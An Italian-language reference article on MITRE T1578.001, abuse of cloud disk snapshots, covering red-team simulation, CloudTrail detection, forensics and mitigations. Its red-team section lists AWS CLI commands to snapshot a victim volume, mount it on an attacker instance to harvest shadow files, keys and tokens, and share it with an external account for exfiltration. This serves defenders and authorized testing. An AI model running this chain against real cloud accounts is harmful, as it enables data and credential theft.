Snapshot Cloud Malevoli: Create Snapshot (T1578.001)

In un esercizio red team autorizzato la simulazione di T1578.001 richiede credenziali IAM con permessi ec2:CreateSnapshot, ec2:DescribeVolumes, ec2:RunInstances e ec2:AttachVolume (o equivalenti su Azure/GCP). Il framework di riferimento è Pacu (open source), suite di exploitation AWS mantenuta da Rhino Security Labs, che include il modulo ebs__enum_volumes_snapshots per l'enumerazione e ebs__explore_snapshots per la creazione e il mount automatico.

Una catena tipica inizia con l'enumerazione dei volumi accessibili. Con AWS CLI (gratuito) il comando è:

aws ec2 describe-volumes --query 'Volumes[].[VolumeId,Size,Tags]'*

Una volta individuato un volume interessante (ad esempio quello associato a un domain controller o a un bastion host), l'operatore crea lo snapshot:

aws ec2 create-snapshot --volume-id vol-0abc123 --description "backup-test"

Poi lancia un'istanza EC2 sotto il proprio controllo nella stessa Availability Zone, crea un nuovo volume dallo snapshot e lo attacca come device secondario:

aws ec2 create-volume --snapshot-id snap-0xyz789 --availability-zone us-east-1a

aws ec2 attach-volume --volume-id vol-0new --instance-id i-0attacker --device /dev/sdf

Dopo il mount con mount /dev/xvdf1 /mnt/target l'operatore ha accesso in lettura al filesystem, dove può cercare file shadow, authorized_keys, database SQLite di applicazioni, log applicativi con token, o eseguire chntpw (open source) su hive registry Windows per estrarre credenziali.

Su Azure la sequenza equivalente usa az snapshot create --source /subscriptions/.../disks/target-disk seguito da az disk create --source e attach su una VM controllata. Su GCP il comando è gcloud compute disks snapshot --snapshot-names=exfil seguito da gcloud compute disks create --source-snapshot.

Per scenari cross-account l'operatore può modificare i permessi dello snapshot rendendolo condivisibile con un account AWS esterno tramite aws ec2 modify-snapshot-attribute --create-volume-permission Add=[{UserId=999999999999}], tecnica utile per simulare esfiltrazione verso infrastruttura attacker-owned.

Strumenti complementari per la fase post-mount includono CloudFox (open source) per la ricognizione IAM successiva, ScoutSuite (open source) per validare la postura di sicurezza pre-esercizio, e Prowler (open source) per verificare che i controlli di detection funzionino. In laboratorio è consigliabile usare account AWS dedicati e budget alert, poiché snapshot di volumi grandi generano costi rapidamente.

La detection di T1578.001 si basa quasi esclusivamente su log del control plane cloud, poiché la tecnica non tocca l'endpoint. Su AWS la fonte primaria è CloudTrail, in particolare gli eventi CreateSnapshot, CreateVolume, AttachVolume, RunInstances e ModifySnapshotAttribute. Su Azure gli equivalenti sono nel Activity Log (operazioni Microsoft.Compute/snapshots/write e Microsoft.Compute/disks/write), mentre su GCP si trovano in Cloud Audit Logs con metodo compute.snapshots.insert.

La strategia di detection DET0423 (AN1187) raccomanda di correlare la creazione di snapshot con attività successive sospette entro finestre temporali ristrette. Un pattern ad alto rischio è la sequenza: CreateSnapshot → CreateVolume dallo stesso snapshot → AttachVolume su un'istanza EC2 diversa dall'originale, il tutto compiuto dalla stessa identità IAM in pochi minuti. Una query SIEM efficace (Splunk, Sentinel, Chronicle) deve pivotare sul campo userIdentity.arn e sul snapshotId per ricostruire la catena.

Gli assi di tuning suggeriti sono quattro. Il UserContext richiede una allowlist delle service account e degli utenti IAM autorizzati alle operazioni di backup (es. ruoli di AWS Backup, Veeam, Commvault); qualsiasi altra identità che invoca CreateSnapshot deve generare alert. La TimeWindow deve modellare la baseline oraria delle operazioni di backup — un picco alle 03:00 UTC in un ambiente che backuppa alle 02:00 è anomalo. La GeoLocation basata sul campo sourceIPAddress di CloudTrail identifica chiamate API da regioni geografiche o ASN non coerenti con l'operatività normale (attenzione ai VPN aziendali). La VolumeSensitivity sfrutta i tag delle risorse: volumi taggati come Environment=Production o DataClass=PII devono avere soglie di alerting più basse.

Un indicatore particolarmente forte è la modifica dei permessi di uno snapshot verso account AWS esterni tramite ModifySnapshotAttribute con parametro CreateVolumePermission: raramente legittima, quasi sempre esfiltrazione. Analogamente su Azure la copia di snapshot verso storage account in altre subscription va monitorata.

I falsi positivi più comuni derivano da automazioni legittime: pipeline CI/CD che creano snapshot per test, AMI baking con Packer (open source), disaster recovery cross-region, migrazioni. La mitigazione è arricchire gli eventi con contesto — user-agent (Packer, Terraform, aws-sdk-python hanno signature riconoscibili), presenza di tag specifici, invocazione tramite AssumeRole da account di automazione noti.

Controlli preventivi complementari includono Service Control Policy in AWS Organizations che negano ec2:ModifySnapshotAttribute verso account esterni, e policy IAM condizionali che limitano CreateSnapshot solo a specifici aws:PrincipalTag.

L'analisi forense di T1578.001 è quasi interamente cloud-native: gli artefatti risiedono nei log del provider e nei metadati delle risorse, non su disco endpoint. La timeline si ricostruisce partendo da CloudTrail (AWS), Activity Log (Azure) o Cloud Audit Logs (GCP), esportati in un data lake per query retrospettive tramite AWS Athena (a pagamento), Azure Data Explorer (a pagamento) o BigQuery (a pagamento).

Gli eventi chiave da estrarre in ordine cronologico sono: CreateSnapshot (con volumeId sorgente, snapshotId risultante, userIdentity, sourceIPAddress, userAgent), DescribeSnapshots precedente che indica ricognizione, CreateVolume con snapshotId di riferimento, RunInstances per l'istanza attacker, AttachVolume che chiude la catena, ed eventuali ModifySnapshotAttribute per condivisione cross-account. Ogni evento CloudTrail contiene eventTime con precisione al secondo e requestID univoco che permette di correlare chiamate API multiple originate dallo stesso client.

Un'interrogazione Athena utile per la timeline è:

SELECT eventTime, eventName, userIdentity.arn, sourceIPAddress, requestParameters, responseElements FROM cloudtrail_logs WHERE eventName IN ('CreateSnapshot','CreateVolume','AttachVolume','RunInstances') AND useridentity.arn LIKE '%suspicious-user%' ORDER BY eventTime

Gli artefatti di metadata sulle risorse cloud sono altrettanto importanti. Ogni snapshot AWS conserva i campi StartTime, OwnerId, VolumeId, Description, Tags e Encrypted; un snapshot creato da un attacker tipicamente ha description generica o vuota, nessun tag di ownership aziendale, e può risiedere in una regione diversa dal volume sorgente. Il comando aws ec2 describe-snapshots --owner-ids self genera l'inventario completo.

Se l'istanza attacker è stata già terminata, i log VPC Flow Logs permettono di ricostruire le connessioni SSH/RDP verso di essa e le connessioni in uscita verso IP esterni (potenziali endpoint di esfiltrazione). L'incrocio con CloudTrail dei TerminateInstances determina il momento in cui l'attacker ha coperto le tracce.

Per analisi di ciò che l'attacker potrebbe aver estratto dallo snapshot, se il volume sorgente è ancora disponibile si può creare uno snapshot forense (con tag esplicito forensic-copy), attaccarlo a una workstation di analisi isolata in una subnet dedicata, e processarlo con Autopsy (open source), The Sleuth Kit (open source) o Velociraptor (open source) per estrarre timeline filesystem, MFT, journal e file di interesse. Per volumi Linux dc3dd (open source) produce copie bit-a-bit verificabili.

La conservazione probatoria richiede di preservare gli snapshot rilevanti impostando policy di retention lock e di esportare i log CloudTrail in bucket S3 con Object Lock in modalità compliance, garantendo immutabilità legale.

I dati MITRE ATT&CK non associano gruppi APT specifici alla tecnica T1578.001, riflettendo una realtà interessante del threat landscape cloud: l'abuso di snapshot è tipicamente osservato in incidenti opportunistici guidati da credenziali IAM compromesse — ottenute tramite phishing, secret esposti su GitHub, o compromissione di endpoint di sviluppatori — piuttosto che essere firma distintiva di uno specifico threat actor state-sponsored.

L'unico strumento formalmente mappato è Pacu (S1091), framework open source rilasciato da Rhino Security Labs e mantenuto pubblicamente. Pacu implementa moduli dedicati all'enumerazione e all'exploitation di volumi EBS e istanze RDS, incluso il flusso completo di creazione snapshot, mount su istanza attacker-controlled e ricerca automatica di secret nel filesystem montato. La sua disponibilità pubblica lo rende accessibile sia a red team legittimi sia a attori malevoli con competenze cloud intermedie, abbassando significativamente la barriera d'ingresso per questo tipo di operazione.

Sul piano dei pattern osservati, la tecnica ricorre in tre scenari tipici. Il primo è l'insider threat: amministratori cloud con permessi legittimi che esfiltrano dati creando snapshot verso account personali, tecnica difficile da rilevare senza baseline comportamentale. Il secondo è la compromissione di CI/CD: pipeline con credenziali AWS di lunga durata vengono abusate per creare snapshot di volumi produttivi, sfruttando il fatto che le automazioni sono spesso in allowlist. Il terzo è il cloud ransomware, dove attori come quelli descritti nei report di Mandiant e Unit 42 su compromissioni AWS creano snapshot dei volumi vittima prima di cifrare gli originali, mantenendo leva estorsiva sulla copia esfiltrata.

Dal punto di vista geografico e settoriale, gli incidenti pubblicamente documentati che coinvolgono manipolazione di snapshot cloud colpiscono prevalentemente aziende SaaS, fintech e healthcare che processano grandi volumi di dati regolamentati in AWS o Azure. La motivazione è duplice: alto valore dei dati (PII, PHI, dati finanziari) e superficie di attacco IAM spesso mal governata a causa della velocità di sviluppo.

Un trend rilevante è l'evoluzione verso attacchi cross-account: gli attori sfruttano ModifySnapshotAttribute per condividere snapshot con account AWS esterni sotto il loro controllo, evitando trasferimenti di rete voluminosi e riducendo la telemetria di esfiltrazione visibile in VPC Flow Logs. Questo pattern richiede detection specifica sui parametri CreateVolumePermission e correlazione con la reputation degli account destinatari.

Le mitigazioni MITRE M1018 (User Account Management) e M1047 (Audit) restano centrali: applicare least privilege sui permessi ec2:CreateSnapshot e ec2:ModifySnapshotAttribute, ridurre le assegnazioni permanenti di ruoli privilegiati tramite soluzioni Just-In-Time (AWS IAM Identity Center, Azure PIM), e condurre entitlement review periodiche su utenti IAM, ruoli e policy sono i controlli con miglior rapporto costo-efficacia.

MITRE ATT&CK T1578.001 (Create Snapshot), tattica TA0005. Software S1091 (Pacu). Mitigazioni M1018 (User Account Management), M1047 (Audit). Detection strategy DET0423 con analytic AN1187 su log AWS CloudTrail. Framework MITRE D3FEND per mappatura difensiva. Documentazione ufficiale AWS EC2, Azure Compute e GCP Compute Engine per sintassi comandi. Integrata conoscenza professionale su strumenti open source (Pacu, CloudFox, ScoutSuite, Prowler, Autopsy, Velociraptor, The Sleuth Kit) verificata su repository pubblici.